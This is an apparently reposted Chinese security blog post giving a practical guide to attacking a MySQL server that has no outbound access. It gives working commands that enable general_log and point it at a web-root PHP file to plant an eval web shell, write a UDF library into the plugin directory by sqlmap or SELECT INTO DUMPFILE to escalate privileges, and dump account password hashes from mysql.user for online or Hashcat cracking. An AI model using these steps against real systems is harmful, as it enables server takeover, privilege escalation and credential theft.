干货 | MySQL不出网文件落地上线姿势

admin 2023年3月1日15:09:58评论87 views字数 2261阅读7分32秒阅读模式

MySQL不出网文件落地上线

第一步 判断环境

1、查看MySQL版本

show variables like '%version%';
select version(); #这个只显示MySQL版本号

干货 | MySQL不出网文件落地上线姿势

2、查看load_file() 开启

即 secure_file_priv 无限制

show variables like '%secure%';       #这条可查看详细信息
show global variables like '%secure_file_priv%';

干货 | MySQL不出网文件落地上线姿势

Value 说明 注意
NULL 不允许导入或导出 在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
/var/lib/mysql-files/ 只允许在 /var/lib/mysql-files/ 目录导入导出 在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
不限制目录

而这个MySQL数据库,只允许在/var/lib/mysql-files/这个目录导入导出

3、查看日志功能是否开启和对应目录

MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 Getshell

SHOW VARIABLES LIKE 'general%';

注:general_log 默认是关闭的,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中

干货 | MySQL不出网文件落地上线姿势

开启日志功能

set global general_log = "ON";
set global general_log_file='/var/www/html/test.php'; #可以写入WebShell然后直接连接蚁剑

# 往日志里面写入 WebShell
select '<?php @eval($_POST['AabyssTeam']);?>';
# 此时已经写到 test.php 文件当中了,注意这个要知道网站的具体路径才可以实现

干货 | MySQL不出网文件落地上线姿势

4、寻找插件目录(UDF提权摸排)

如果是 MySQL >= 5.1 的版本,必须把 UDF 动态链接库文件放置于 MySQL 安装目录下的 libplugin 文件夹下,才能创建自定义函数

动态链接库文件获取

在我们常用的工具 SqlMap 和 Metasploit 里面都自带了对应系统的动态链接库文件

SqlMap:工具根目录/data/udf/mysql

注:SqlMap 自带的动态链接库为防止被误杀,都经过编码处理,不能被直接使用

不过可以利用 SqlMap 自带的解码工具 cloak.py 来解码使用,cloak.py 的位置为:工具根目录/extra/cloak/cloak.py

Metasploit:工具根目录/embedded/framework/data/exploits/mysql

注:动态链接库就是实现共享函数库概念的一种方式,在Windows环境下后缀名为 .dll,在Linux环境下后缀名为 .so

接下来的任务是把 UDF 动态链接库文件放到 MySQL 的插件目录下,可以使用如下的 SQL 语句来查询:

show variables like '%plugin%';

干货 | MySQL不出网文件落地上线姿势

第二步 MySQL提权

写入动态链接库

写入动态链接库可以分为下面几种情形:

  • 存在SQL 注入且是高权限

  • plugin(插件) 目录可写且需要 secure_file_priv 无限制

  • MySQL 插件目录可以被 MySQL 用户写入

1、存在SQL注入

这个时候就可以直接使用 SqlMap 来上传动态链接库

注:因为 GET 有字节长度限制,所以往往使用 POST 注入来写入

sqlmap -u "http://Web服务的URL" --data="id=注入点" --file-write="根据本地的文件目录来写/lib_mysqludf_sys_64.so" --file-dest="/usr/lib64/mysql/plugin/(上面探测出来的插件目录)udf.so"

2、不存在SQL注入

就像我举的例子一样,没有Web服务,只有一个Java应用怎么办?

我们可以使用 SQL 语句执行写入,前提是 secure_file_priv 无限制,可以手工写文件到 plugin 目录下

# 直接 SELECT 查询十六进制写入
SELECT 0x(通过16进制转换后的动态链接库字符串) INTO DUMPFILE '/usr/lib64/mysql/plugin/udf.so';

# 解码十六进制再写入多此一举
SELECT unhex('(通过16进制转换后的动态链接库字符串)') INTO DUMPFILE '/usr/lib64/mysql/plugin/udf.so';

当出现这个报错的时候:

干货 | MySQL不出网文件落地上线姿势

由于 secure-file-priv 变量的默认设置为 /var/lib/mysql-files/ 引起的,该值意味着只能导出到指定目录下,否则会报错

小技巧:获取MySQL账户和对应密码Hash

# MySQL <= 5.6 版本
select host, user, password from mysql.user;

# MySQL >= 5.7 版本
select host,user,authentication_string from mysql.user;

干货 | MySQL不出网文件落地上线姿势

直接丢到在线网站 https://www.cmd5.com/ 解密

干货 | MySQL不出网文件落地上线姿势

直接可以解密了密码,解密不出来就用Hashcat跑就行了

原文作者:AabyssZG

原文地址:https://blog.zgsec.cn/index.php/archives/26/

觉得内容不错,就点下在看
如侵权请私聊公众号删文


原文始发于微信公众号(EchoSec):干货 | MySQL不出网文件落地上线姿势

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月1日15:09:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   干货 | MySQL不出网文件落地上线姿势http://cn-sec.com/archives/1582229.html

发表评论

匿名网友 填写信息